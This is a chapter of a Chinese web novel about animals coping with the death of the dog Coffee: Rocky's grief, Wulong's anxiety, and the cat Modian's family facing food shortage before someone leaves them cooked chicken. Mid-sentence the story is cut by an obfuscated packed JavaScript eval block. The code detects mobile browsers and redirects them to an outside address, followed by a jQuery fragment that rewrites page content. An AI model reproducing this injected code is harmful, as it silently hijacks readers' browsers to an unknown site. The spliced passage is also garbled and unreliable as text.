Coffee的离去，在LL&HH‘s Garden里留下了一个巨大而空洞的印记，不仅在人类心中，也在其他动物成员间引起了微妙而持续的回响。
最直接的变化体现在Rocky身上。这只聪明过头、精力旺盛的边牧，仿佛一夜之间被抽走了一大半的“玩伴”和“较劲”对象。Coffee曾是它日常互动中最活跃的一部分，无论是训练时的竞争，还是玩耍时的追逐，甚至是面对Coffee那无法预测的热情时，Rocky表现出的那种“无奈又好笑”的包容（或者说，居高临下的容忍）。现在，这个部分消失了。
Rocky变得有些……无所适从。它依旧执行韩慧的命令，甚至比以前更加精准和迅速，仿佛想用这种方式填补某种空虚。但它眼神中那种时刻闪烁的、寻找乐趣和挑战的灵光，黯淡了许多。它不再花费大量心思去琢磨如何恶作剧试探木箱里的“神秘住户”，更多时候是趴在阳台角落，下巴搁在前爪上，望着楼下Coffee曾经肆意奔跑的空地，或者望着天空发呆，尾巴偶尔无力地扫动一下。
一次，韩慧拿出Coffee最喜欢的那个已经有些破旧的橙色飞盘，下意识地想喊出那个名字，却在开口瞬间哽住，泪水涌上眼眶。Rocky却立刻站了起来，眼睛紧紧盯着飞盘，耳朵竖起，身体前倾，做出了准备冲刺的姿势——那是它和Coffee争夺飞盘时的条件反射。但当它看到女主人脸上的泪水，以及意识到那个白色的身影不会再冲出来时，它绷紧的身体慢慢松弛下来，发出一声低低的、几乎听不见的呜咽，重新趴了回去，将脸埋进了前爪之间。
那一刻，连木箱里暗中观察的墨点，都感到心头被什么东西轻轻刺了一下。原来，Rocky并非不懂，它只是用它的方式，在理解和承受着这份失去。
乌龙的变化则更内敛，但也更令人心酸。它似乎将Coffee的离去，与某种更深层的“不安全”联系在了一起。它变得更加黏人，几乎寸步不离韩慧，如果韩慧短暂离开它的视线，它会不安地呜咽、踱步，直到她回来。它对阳台外的世界似乎更加恐惧，连微风拂过树叶的声音都能让它一惊一乍。它胸前的白色疤痕，在它因紧张而蜷缩时，显得更加刺眼。
韩慧和林朗将更多的关注和温柔倾注在剩下的两只犬身上，尤其是情绪低落的Rocky和焦虑加剧的乌龙。他们带Rocky进行更复杂的智力游戏和服从训练，试图用新的挑战占据它的思维；对乌龙则给予加倍的耐心和安抚，试图重建它的安全感。阳台上的生活节奏缓慢地调整着，试图适应没有Coffee的巨大空白。
Besty似乎不受影响，依旧维持着它的高傲与整洁，但墨点偶尔会发现，它在巡视时，会特意绕开Coffee生前最常趴卧的那片阳光最好的区域，仿佛那里还残留着它不愿触碰的巨大存在感。
而对墨点一家而言，Coffee的离去带来了一个意想不到的、关乎生存的实际影响：食物资源的隐性减少。
以往，韩慧准备犬类食物时，总量是惊人的，尤其是考虑到Coffee那堪比无底洞的胃口和惊人的运动量。虽然墨点一家绝不会去动犬类的食盆，但不可避免地，会有一些碎屑溅落，或者Coffee在狼吞虎咽时漏掉的一些肉渣、狗粮，这些都会成为阳台角落一些昆虫或偶尔溜过来的麻雀的盛宴，间接影响着阳台这个小生态的“资源丰度”。而且，韩慧心情好时，有时会多给一些零食或加餐，这些活动都随着Coffee的离去而大幅减少。
现在，Rocky和乌龙的食量加起来也远不及Coffee一个。韩慧准备的食物精确而适量，浪费极少。阳台上的“额外资源”无形中萎缩了。这对主要依赖外出狩猎和偶尔谨慎取用阳台预留猫粮的墨点一家来说，不是一个好消息，尤其是在雪绒需要哺乳，幼崽食量渐增的时候。
雪绒敏锐地察觉到了这一点。“我们需要扩大狩猎范围，提高效率。”她在一次安全时段低声对墨点说，“不能因为暂时栖身于此，就放松对自主生存能力的维持。尤其是你，墨点，你现在的狩猎技巧需要承担更多。”
于是，墨点外出活动的频率和范围被迫增加。他必须去更远、有时也更危险的地方，寻找足够的猎物来满足五张猫嘴（尽管幼崽们还主要吃奶）。这让他暴露在疤脸势力范围边缘的风险增加了，也让他更疲惫。
一天傍晚，墨点拖着好不容易捕获的一只半大野兔回来，却惊讶地发现，在阳台那个固定的、盛放清水的不锈钢碗边，多了一个小小的、不起眼的陶碟。碟子里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218523|197467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，不是猫粮，而是一些煮熟的、撕成细丝的鸡肉，分量不多，但新鲜干净。
不是韩慧平时放置猫粮的位置和风格。墨点警惕地嗅闻，除了鸡肉和极淡的陶器气味，没有其他。他抬头看向玻璃门内，韩慧正坐在沙发上，看着书，似乎没有留意阳台。Rocky趴在她脚边，乌龙紧挨着她。
是谁放的？林朗？还是……韩慧特意放的？是因为注意到他们最近外出频繁，猜到食物压力增大了吗？
墨点没有立刻去吃。他退回木箱，告诉雪绒。雪绒思索片刻，说：“可以取用。但不要一次吃完，分几次。并且，以后我们外出狩猎仍需如常，不能因此产生依赖。这可能是……一种基于观察的、有限的补充。记住，不确定性的赠与，比明确的交易更需警惕。”
墨点依言，极其谨慎地分两次吃掉了那些鸡肉。味道很好，能量充沛。这小小的馈赠，像沙漠中的一滴甘霖，暂时缓解了他的疲惫和焦虑。
他望着玻璃门内那个沉浸在书籍和悲伤中的女性侧影，心中涌起一股复杂的情绪。感激？是的。但更多的是加深了的困惑与警惕。她似乎总是在他们需要的时候，以一种不打扰、不越界的方式，提供恰到好处的帮助。这种精准的“看见”和“给予”，比Coffee那种毫无心机的热情，更让墨点感到一种深不可测的分量。
空洞的食盆旁，多了一碟悄然的鸡肉。这仿佛是Garden在经历失去之痛后，进行的一次静默的自我调整。资源在重新分配，关系在重新平衡，悲伤在缓慢沉淀。
而生活，必须继续。无论是围墙内的人类和犬，还是屋檐下的猫，都必须在各自的位置上，学习带着这份失去留下的空洞，继续前行，寻找新的平衡与意义。
墨点舔了舔嘴唇，那里似乎还残留着鸡肉的鲜美。他知道，前方的路不会因为一碟鸡肉而变得平坦，疤脸的威胁、生存的压力、弟弟妹妹的成长、母亲的安全……所有的责任依然沉重地压在他的肩头。
但至少在这一刻，在这寂静的、弥漫着淡淡悲伤的黄昏，他感受到了一丝来自这个复杂Garden的、微弱却真实的暖意。这暖意不足以驱散所有寒冷，却足以让他积蓄力量，为了守护身后那些柔软的羁绊，继续在布满荆棘的生存之路上，坚定地走下去。